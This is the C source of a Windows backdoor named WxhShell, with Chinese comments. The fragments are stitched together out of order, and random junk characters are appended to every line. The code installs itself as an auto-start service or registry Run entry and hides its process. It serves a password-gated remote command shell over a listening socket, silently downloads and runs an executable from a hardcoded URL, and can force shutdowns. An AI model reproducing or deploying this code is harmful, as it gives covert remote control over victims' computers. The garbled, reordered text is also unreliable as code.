    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *i5&x/ds  
    if(Boot(SHUTDOWN)) w^R5/#F_r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_`wLQ7e  
    else { 7jts;H=  
    closesocket(wsh); An]*J|nFIY  
    ExitThread(0); 22tY%Y9  
    } 6EX:qp^`  
    break; cty~dzX^  
    } ?H*_:?=6  
  // 获取shell z_JZx]*/  
  case 's': { 8qS)j1.!  
    CmdShell(wsh); 1%EY!14G+  
    closesocket(wsh); ?_<ZCH  
    ExitThread(0); &e,xN;  
    break; qf24l&}  
  } WHE*NWz>q  
  // 退出 zKfb  
  case 'x': { rQisk8 %  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *#UDMoz<  
    CloseIt(wsh); 0C3Yina9 *  
    break; e5`{*g$i).  
    } A.WJ#1i}E  
  // 离开 1grrb&K  
  case 'q': { J=4S\0Z*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f+<-Jc  
    closesocket(wsh); 1RRvNZW  
    WSACleanup(); [>"qOFCr#:  
    exit(1); wy) Frg  
    break; m} Yf6:cr  
        } u{6*}6@fi  
  } OY"{XnPZ  
  } /jj}.X7yH  
[&+wW  
  // 提示信息 p' /$)klt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2VB.f  
} CUxSmN2[  
  } #+Vvf  
JvHJ*E   
  return; >b{%j8u M  
} ;Kkn7&'F  
:4Q_\'P  
// shell模块句柄 BIcE3}dS8  
int CmdShell(SOCKET sock) b GwLfU  
{ /tt  
STARTUPINFO si; %j^=  
ZeroMemory(&si,sizeof(si)); EO'3;mo,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xZ,g6s2o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A|y&\~<A  
PROCESS_INFORMATION ProcessInfo; TC R(  
char cmdline[]="cmd"; H.i_,ZF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Nu9mK  
  return 0; {Lq uOC1  
} O^:Rm=,$  
Y=}b/[s6;  
// 自身启动模式 4|++0=#D$  
int StartFromService(void) pOH_ CXw  
{ kk!}mbA_}  
typedef struct 2^qY, dL  
{ 7~|o_T  
  DWORD ExitStatus; +8BH%f}X  
  DWORD PebBaseAddress; ?'h@!F%R'  
  DWORD AffinityMask; =gfLl1wY[  
  DWORD BasePriority; 38Wv&!  
  ULONG UniqueProcessId; 2]> s@?[  
  ULONG InheritedFromUniqueProcessId; ~"=nt@M]  
}   PROCESS_BASIC_INFORMATION; TAzhD.6C  
}GGFJ"  
PROCNTQSIP NtQueryInformationProcess; G3?8GTH  
u[d8)+VX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]MB ^0:F-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E}1[&  
5jYRIvM[Q~  
  HANDLE             hProcess; Ah)7A|0rT  
  PROCESS_BASIC_INFORMATION pbi; WfO6Fvx%  
IOIGLtB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;TaT=%  
  if(NULL == hInst ) return 0; 0Y!Bb2 m  
O'idS`   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YtIJJH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <cepRjDn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iY*Xm,#  
9IIe:  
  if (!NtQueryInformationProcess) return 0; @p `#y  
p=7kFv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >#0yd7BST  
  if(!hProcess) return 0; /"/$1F%{  
]@WJ&e/'@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :5"|iRP'  
5RlJybN"o  
  CloseHandle(hProcess); I{1w8m4O6  
g~Q#U;]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pu`|HaQaE  
if(hProcess==NULL) return 0; 2V F|T'h  
y f+/Kj< a  
HMODULE hMod; ]Fj z+CGg  
char procName[255]; 9"<)DS  
unsigned long cbNeeded; <'B`b  
C{Npipd}v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tk, H vE  
0Y"==g+ >f  
  CloseHandle(hProcess); pK$^@~DE  
teM&[U  
if(strstr(procName,"services")) return 1; // 以服务启动 0BVMLRB  
5IMh$!/uc  
  return 0; // 注册表启动 !_V*VD  
} +o_`k!  
!-\*rdE {9  
// 主模块 x$M[/ID0  
int StartWxhshell(LPSTR lpCmdLine) [0IeEjL  
{ i-&kUG_X  
  SOCKET wsl; Ye(0'*-jyc  
BOOL val=TRUE; %A64 Y<K  
  int port=0; e#W@ep|n  
  struct sockaddr_in door; ikm4Y`c  
]`:Fj|>  
  if(wscfg.ws_autoins) Install(); O`Z>Oon?  
$wX5`d 1  
port=atoi(lpCmdLine); ^s24f?3  
Iem* 'r  
if(port<=0) port=wscfg.ws_port; 9prG@  
F /t;y\)  
  WSADATA data; o*dhks[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Xb:f/lB  
rU'&o) a^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 H<_ wW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cJH7zumM)  
  door.sin_family = AF_INET; (cA=~Bw[=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S liF$}J  
  door.sin_port = htons(port); VDQ&Bm JE  
<vbk@d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hr)TC-  
closesocket(wsl); !TG"AW  
return 1; 1uD}V7_y"  
} \>jK\j  
fxiq,o0  
  if(listen(wsl,2) == INVALID_SOCKET) { 1hRC Bwx  
closesocket(wsl); \3Xt\1qN4  
return 1; 3btciR!N]  
} lz# inC|  
  Wxhshell(wsl); Dcp,9"yt%  
  WSACleanup(); 0jg-]  
A)VOv`U@2  
return 0; oM< &4F  
X|.X4fs  
} 9Uk9TG5  
$v>- @  
// 以NT服务方式启动 @c.QrKSaD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,sJ{2,]~  
{ tc# rL   
DWORD   status = 0; guf+AVPno  
  DWORD   specificError = 0xfffffff; @o>2:D1G  
5a_K|(~3I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _39b8s {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1M<'^(t3d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Yt[%tOF+  
  serviceStatus.dwWin32ExitCode     = 0; Lp{l& -uQ  
  serviceStatus.dwServiceSpecificExitCode = 0; j[=f;&1  
  serviceStatus.dwCheckPoint       = 0; q 2= ^l  
  serviceStatus.dwWaitHint       = 0; oR3$A :!P=  
]aaHb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lqz}h-Ei  
  if (hServiceStatusHandle==0) return; >Axe7<l  
i>0bI^H  
status = GetLastError(); XSZW9/I-(|  
  if (status!=NO_ERROR) 242lR0#aY  
{ Y.&z$+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; irrQ$N}   
    serviceStatus.dwCheckPoint       = 0; uRUysLIw  
    serviceStatus.dwWaitHint       = 0; Q OdvzVy<  
    serviceStatus.dwWin32ExitCode     = status; $R"~BZbt;  
    serviceStatus.dwServiceSpecificExitCode = specificError; )|2g#hH5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7$b78wax  
    return; r)*KgGsk  
  } 9fe~Q%x=u  
2"%d!"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N!btj,vx  
  serviceStatus.dwCheckPoint       = 0; &;C|=8eB  
  serviceStatus.dwWaitHint       = 0; WRD^S:`BH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;1F3.ibE  
} Ba@UX(t  
m2\ZnC  
// 处理NT服务事件,比如:启动、停止 (+T|B E3*#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b%pLjvU  
{ G =lC[i  
switch(fdwControl) -<CBxyZa&  
{ (\SxG\`  
case SERVICE_CONTROL_STOP: #mtlgK'  
  serviceStatus.dwWin32ExitCode = 0; vY.p~3q :)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~/gqXT">  
  serviceStatus.dwCheckPoint   = 0; ;.m"y-  
  serviceStatus.dwWaitHint     = 0; JJ[J'xl@  
  { q}+9$v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K _y;<a]  
  } \t )Zk2  
  return; c)lMi}/  
case SERVICE_CONTROL_PAUSE: CJ%7M`zy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tw|=;m  
  break; r)h+pga5^E  
case SERVICE_CONTROL_CONTINUE: zJtYy4jI)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -LQ%)'J ZN  
  break; 'fZHtnmc0  
case SERVICE_CONTROL_INTERROGATE: L+d_+:w  
  break; Y$% Ze]~  
}; 4xg%OH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9n44 *sZ  
} `_z8DA}E  
Riu0;U( \  
// 标准应用程序主函数 <51(q_f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V =1Y&y  
{ ^bS&[+9E  
3<?(1kSo>>  
// 获取操作系统版本 3O$Q>.0w/  
OsIsNt=GetOsVer(); l$.C40v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z`{Ld9W  
@YV-8;hO  
  // 从命令行安装 7FfzMs[ \e  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]LNP"vi;  
Tpkm\_  
  // 下载执行文件 =[vT=sHz7  
if(wscfg.ws_downexe) { Q- j+#NGc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -,}f6*  
  WinExec(wscfg.ws_filenam,SW_HIDE); u'P@3'P  
} +FyG{1?<  
.pG_j]  
if(!OsIsNt) { Hz+edM UL  
// 如果时win9x,隐藏进程并且设置为注册表启动 u9}=g%TV  
HideProc(); +d Ig&}Tr  
StartWxhshell(lpCmdLine); s6!aGZ  
} 3X%>xUI  
else 9<,\ +}^{  
  if(StartFromService()) %0=|WnF-  
  // 以服务方式启动 }0c'hWMZ}  
  StartServiceCtrlDispatcher(DispatchTable); ;pS Wu9  
else x!gu&AA<*  
  // 普通方式启动 APy&~`  
  StartWxhshell(lpCmdLine); h<.&,6R  
E}4R[6YD  
return 0; E+F!u5u  
} 1 ^Ci$ra  
6|["!AUI  
Z*x Q"+\  
i>>_S&!9p  
=========================================== p \F*Y,4  
:/d#U:I  
#L[Atx  
>*k3D&  
yv]/A<gP+  
@ L?7` VoE  
" 7$}lkL  
EXoT$Wt{$  
#include <stdio.h> 53@*GXzE  
#include <string.h> |*jnJWH4:  
#include <windows.h> ~ b\bpu  
#include <winsock2.h> ,Q2`N{f  
#include <winsvc.h> RE7 I"  
#include <urlmon.h> #!C/~"Y*`|  
M|7xI  
#pragma comment (lib, "Ws2_32.lib") FL"7u2rh,  
#pragma comment (lib, "urlmon.lib") - =QA{n  
oB#KR1 >%7  
#define MAX_USER   100 // 最大客户端连接数 ^Jsx^?  
#define BUF_SOCK   200 // sock buffer gQ/-.1Pz$  
#define KEY_BUFF   255 // 输入 buffer q>o1kTI  
1i^!A&  
#define REBOOT     0   // 重启 R\ <HR9r  
#define SHUTDOWN   1   // 关机 ~ex1,J*}t  
E0Ig/ j  
#define DEF_PORT   5000 // 监听端口 {3@/@jO?  
?0Z?Z3)%w4  
#define REG_LEN     16   // 注册表键长度 ST] h NM  
#define SVC_LEN     80   // NT服务名长度 &mp=jGR  
ebp18_a|  
// 从dll定义API Z^>{bW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =P-kb^s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )lBke*j~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cZPv6c_w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DXsp 2  
349W0>eOT  
// wxhshell配置信息 #1&w fI$  
struct WSCFG { GUJx?V/[  
  int ws_port;         // 监听端口 MG<F.u  
  char ws_passstr[REG_LEN]; // 口令 /87?U; |V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7[.aAGTZ;  
  char ws_regname[REG_LEN]; // 注册表键名 ,J!G-?:@n  
  char ws_svcname[REG_LEN]; // 服务名 5@F1E8T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z~UqA1r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &X }GJLC3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mx4 <F "9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4&&((H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" edx-R-Dc-1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `og 3P:y  
Zu,rf9LMj  
}; "+~La{ POc  
'K"V{  
// default Wxhshell configuration -1DQO|q#  
struct WSCFG wscfg={DEF_PORT, M._9/ *C U  
    "xuhuanlingzhe", M]vc W  
    1, .m9s+D]fI  
    "Wxhshell", L$=6R3GI  
    "Wxhshell", +.! F]0ju  
            "WxhShell Service", #kR8v[Z  
    "Wrsky Windows CmdShell Service", 8rx?mX,}  
    "Please Input Your Password: ", ,-rOfk\u  
  1, m+?$cyA>v  
  "http://www.wrsky.com/wxhshell.exe", 1}%vZE2  
  "Wxhshell.exe" jhr: QS/9  
    }; >\+c@o[  
&O/;YGEAB  
// 消息定义模块 g+bc4eU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [u`v'*0d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J-P> ~ L"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %scSp&X  
char *msg_ws_ext="\n\rExit."; }4Ef31X8q  
char *msg_ws_end="\n\rQuit."; "eA4JL\%)  
char *msg_ws_boot="\n\rReboot..."; d %1j4JE{  
char *msg_ws_poff="\n\rShutdown..."; rF'_YYpr>  
char *msg_ws_down="\n\rSave to "; AvfSR p  
+fBbW::R^  
char *msg_ws_err="\n\rErr!"; Y`eUWCD  
char *msg_ws_ok="\n\rOK!"; (J I4ibP  
2f2Vy:&O_  
char ExeFile[MAX_PATH]; k?zw4S  
int nUser = 0; Oe:+%p  
HANDLE handles[MAX_USER]; |08b=aR6ro  
int OsIsNt; p6VS<L  
VEj-%"\   
SERVICE_STATUS       serviceStatus; 0<d9al|J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {ss^L  
C@3a/<6m  
// 函数声明 _r@ FWUZ  
int Install(void); <$7HX/P  
int Uninstall(void); Ro\ U T64  
int DownloadFile(char *sURL, SOCKET wsh); Lq : !?)I  
int Boot(int flag); O10,h(O  
void HideProc(void); #fk#RNt  
int GetOsVer(void); >NwS0j$j@  
int Wxhshell(SOCKET wsl); uQk}  
void TalkWithClient(void *cs); lgWEB3f .  
int CmdShell(SOCKET sock); {]-AuC2E/0  
int StartFromService(void); !~#zH0#  
int StartWxhshell(LPSTR lpCmdLine); 2_k2t ?   
OMgFp|^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0&XdCoIe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r {R879  
)(V|d$n  
// 数据结构和表定义 .dM4B'OA?  
SERVICE_TABLE_ENTRY DispatchTable[] = xvn@zi  
{ )nE=H,U?y  
{wscfg.ws_svcname, NTServiceMain}, v o<'7,  
{NULL, NULL} ;:nx6wi  
}; T rK-XTev  
wyWe2d  
// 自我安装 jiw5>RNt  
int Install(void) moz*=a  
{ `#J0@ -  
  char svExeFile[MAX_PATH]; sa6/$  
  HKEY key; #2 Gy=GvV  
  strcpy(svExeFile,ExeFile); 7-S?\:J  
%+gK5aVab  
// 如果是win9x系统,修改注册表设为自启动 %QYW0lE  
if(!OsIsNt) { lqdil l\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gkkT<hEV=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p8gm=  
  RegCloseKey(key); g }\ G@7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B'[FnJ8~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5A Fy6Ab  
  RegCloseKey(key); ,, S]_S  
  return 0; F%|F-6  
    } PiQs Vk  
  } P?WS=w*O0  
} <yt|!p-tS  
else { 3(&f!<Uy  
<cig^B{nX  
// 如果是NT以上系统,安装为系统服务 Uphme8SX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $>if@}u  
if (schSCManager!=0) KNvvYwFH]  
{ 0i|z$QRL~  
  SC_HANDLE schService = CreateService TjDDvXY  
  ( ZH<: g6  
  schSCManager, oyfY>^bs  
  wscfg.ws_svcname, 9Kl:3C  
  wscfg.ws_svcdisp, 9$<1<  
  SERVICE_ALL_ACCESS, dC,a~`%O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4zo^ b0v  
  SERVICE_AUTO_START, GQ -fEIi{  
  SERVICE_ERROR_NORMAL, kn 5X:@{  
  svExeFile, gdr"34%vbM  
  NULL, ^\"@r%|  
  NULL, , yd]R4M  
  NULL, zvEofK  
  NULL, cJ^{iOQ+  
  NULL FUTD/y]Lu  
  ); 8_*31Y   
  if (schService!=0) [T}Lq~  
  { *h([ai"1-  
  CloseServiceHandle(schService); LZR x>q^  
  CloseServiceHandle(schSCManager); fGtYvl O-5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &AUtUp kOo  
  strcat(svExeFile,wscfg.ws_svcname); "/ 9EUbca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &d,!^9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h;C/} s  
  RegCloseKey(key); Z.QgL=  
  return 0; -/w#f&Y+]8  
    } :o"9x,  
  } mZG)#gW[  
  CloseServiceHandle(schSCManager); G>@KX  
} ;URvZ! {/Z  
} #S4lRVt5  
WWBm*?U  
return 1; HP,sNiw  
} 1U?,}w   
j-$F@p_2F  
// 自我卸载 fex<9'e  
int Uninstall(void) 'r 0kX||  
{ @'AjEl:&-_  
  HKEY key; _-+xzdGvX  
+`RQ ^9  
if(!OsIsNt) { 3u,CI!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Jt  
  RegDeleteValue(key,wscfg.ws_regname); ?zP/i(1y  
  RegCloseKey(key); Ea,L04K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -xVp}RLT  
  RegDeleteValue(key,wscfg.ws_regname); -Z(='A  
  RegCloseKey(key); P$7i>(?(  
  return 0; |d)*,O4s  
  }  Q4R*yRk  
} ye^*Z>|  
} d!P3<:+R[  
else { 7ciSIJ  
;}>g/lw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wJAJ /  
if (schSCManager!=0) *DUP$@}k  
{ iVSN>APe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UE\Z] t!  
  if (schService!=0) :w,#RcW  
  { UFSbu5 j  
  if(DeleteService(schService)!=0) { my]t[%Q{  
  CloseServiceHandle(schService); WeiDg,]e$b  
  CloseServiceHandle(schSCManager); |PNPOj0  
  return 0; m+!T $$W  
  } })F.Tjf*  
  CloseServiceHandle(schService); fw3P?_4;*  
  } ]. E/s(p  
  CloseServiceHandle(schSCManager); '#eY4d<i]n  
} *}h#'+  
} Q94Lq~?YF  
H_n Ilku  
return 1; % |^V)  
} pf8M0,AY  
(ebC80M  
// 从指定url下载文件 E#zLm  
int DownloadFile(char *sURL, SOCKET wsh) eHl)/='  
{ U_KCN09  
  HRESULT hr; p}e1!q;N  
char seps[]= "/"; J`[v u4  
char *token; X/BcS[a  
char *file; wrhGZ=k{  
char myURL[MAX_PATH]; ^B?brH}  
char myFILE[MAX_PATH]; n@te.,?A"  
SNOML7pd  
strcpy(myURL,sURL);  DJJd_  
  token=strtok(myURL,seps); MXa(Oi2Gg  
  while(token!=NULL) j;yKL-ycB  
  { p>=i'~lQ6  
    file=token; V'^E'[Dd{  
  token=strtok(NULL,seps); /UG]hJ-wn  
  } vrq5 +K&||  
+l27y0>t  
GetCurrentDirectory(MAX_PATH,myFILE); vq` M]1]FO  
strcat(myFILE, "\\"); /g)(  
strcat(myFILE, file); +R2+?v6  
  send(wsh,myFILE,strlen(myFILE),0); <N(r -  
send(wsh,"...",3,0); >[0t@Tu,D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *8Kx y@  
  if(hr==S_OK) b!4Z~d0=  
return 0; f2iA5 rCV]  
else #V$h?`qhwr  
return 1; up!54}qy  
K0fuN)C  
} snicVzvA  
^61;0   
// 系统电源模块 wx*03(|j;  
int Boot(int flag) /<VR-yr  
{  SH6+'7  
  HANDLE hToken; 5ktFL<^5T  
  TOKEN_PRIVILEGES tkp; JUCp#[q  
&dky_H  
  if(OsIsNt) { 6o)RsxN eu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) #l&BV5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )]tf|Mbu  
    tkp.PrivilegeCount = 1; S;^'Ek"Z.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @%"r69\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LsxRK5   
if(flag==REBOOT) { BZOB\Ym  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L_sDbAT~<  
  return 0; 7e:eL5f>~  
} E_ D0Nm%n  
else { m*'hHt n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7 -S?U~s  
  return 0; 25Uw\rKeO  
} ER,!`C]  
  } (Xl+Zi>\{  
  else { $1y8X K7r  
if(flag==REBOOT) { 9]%2Yb8SC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1]a\uq}  
  return 0; kB9@ &t +  
} 43,baeG  
else { 7g>|e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h?Lp9VF  
  return 0; *. 1S  
} xzXNcQ  
} 7/zaf  
@TJ2 |_s6]  
return 1; 0at['zw  
} sSy!mtS  
}R!t/ 8K  
// win9x进程隐藏模块 Ou`;HN;[  
void HideProc(void) 4I8QM&7  
{ /'a\$G"%6  
w0X})&,{`m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cD t|v~  
  if ( hKernel != NULL ) 12@Ge]  
  { k$|g)[RE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y|6gg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?c<uN~fC=  
    FreeLibrary(hKernel); SUDvKP  
  } fTt\@" V  
&NX7  
return; V an=dz G  
} wGw<z[:f  
op($+Q  
// 获取操作系统版本 VCzb[.  
int GetOsVer(void) G 2`hEX%  
{ .@0@Y  
  OSVERSIONINFO winfo; 9-Z ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mu2|%$C;$  
  GetVersionEx(&winfo); 2cjbb kq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E9\u^"GVO  
  return 1; v7/k0D .  
  else lnGg1/  
  return 0; D*/fY=gK  
} _jb&=f8  
A=sz8?K+`  
// 客户端句柄模块 4Uhh]/  
int Wxhshell(SOCKET wsl) ,3 [FD9  
{ t?H sfN  
  SOCKET wsh; <v!jS=T  
  struct sockaddr_in client;  7LB%7~{<  
  DWORD myID; jx}7/  
@RZbo@{~  
  while(nUser<MAX_USER) %~:@}C%A  
{ 9iV9q]($0  
  int nSize=sizeof(client); gZBb /<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2 sj: &][R  
  if(wsh==INVALID_SOCKET) return 1; ; xL8W  
nErr&{C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5me#/NqLHY  
if(handles[nUser]==0) >sZ_I?YDs  
  closesocket(wsh); FX!Qd&kl1  
else 1vYa&!  
  nUser++; N cp   
  } Yx&d\/9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a ?\:,5=  
b7y#uL1AE  
  return 0; W$<Y**y9m  
} hW9U%-D  
,/qY 9eh  
// 关闭 socket xiV!\Z}  
void CloseIt(SOCKET wsh) 2UIZ<#|D>s  
{ fWf't2H&  
closesocket(wsh); \]g51U!'  
nUser--; +6x}yc:yd  
ExitThread(0); +,Or^p O=  
} dsOt(yNo  
?zf3AZ9  
// 客户端请求句柄 Z_a@,k:+[  
void TalkWithClient(void *cs) >S8 n 8U  
{ b4f3ef  
-q(*)N5.2  
  SOCKET wsh=(SOCKET)cs; 9fWR8iV  
  char pwd[SVC_LEN]; h8 FV2"  
  char cmd[KEY_BUFF]; >2F9Tz,3  
char chr[1]; =?_:h`}  
int i,j; j`+{FCB7  
9Wg;M#c2Y|  
  while (nUser < MAX_USER) { j'OXT<n*  
At'M? Q@v  
if(wscfg.ws_passstr) { $3g M P+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4|4 *rhwp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e jR_3K^  
  //ZeroMemory(pwd,KEY_BUFF); 2PSkLS&IM  
      i=0; :9e4(7~ona  
  while(i<SVC_LEN) { =:t<!dp  
noLr185  
  // 设置超时 }57Jn5&'  
  fd_set FdRead; b|*+!v:I>T  
  struct timeval TimeOut; <9\Lv]ng  
  FD_ZERO(&FdRead); i/Nc)kKL  
  FD_SET(wsh,&FdRead); KE~.f(  
  TimeOut.tv_sec=8; 2`rJr  
  TimeOut.tv_usec=0; C ^c <s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bc NyB$S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \qTp#sF  
^y%8_r&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JDW/Mc1bh  
  pwd=chr[0]; "Pu917_P  
  if(chr[0]==0xd || chr[0]==0xa) { ?]aVRmL  
  pwd=0; HXX9D&c4R  
  break; a^\ F9^j  
  } g}IOHE  
  i++; zl|+YjR  
    } r;{ggwY&J  
$Ld-lQsL  
  // 如果是非法用户,关闭 socket 2 6 >9$S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hL&7D @  
} Vk*XiEfKm>  
s>1\bio*I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `GlOl-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C,%Dp0  
Anqt:(  
while(1) { 5j\Kej  
K7C!ZXw~  
  ZeroMemory(cmd,KEY_BUFF); K4o']{:U  
LK!sk5/  
      // 自动支持客户端 telnet标准   Efoy]6P\  
  j=0; TU;AO%5  
  while(j<KEY_BUFF) { _yF@k~ h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9I`0`o"A  
  cmd[j]=chr[0]; `gF`Sgz  
  if(chr[0]==0xa || chr[0]==0xd) { 4E_u.tJ  
  cmd[j]=0; }gFa9M<  
  break; hsJ^Au=})w  
  } 6G#[Mc yn  
  j++; `t44.=%  
    } ;#+I"Ow  
l>L?T#v!_  
  // 下载文件 BG)zkn$  
  if(strstr(cmd,"http://")) { t,'J%)j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v;-0^s/P  
  if(DownloadFile(cmd,wsh)) 2^"! p;WQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kw} E0uY  
  else j+S&5C/{  
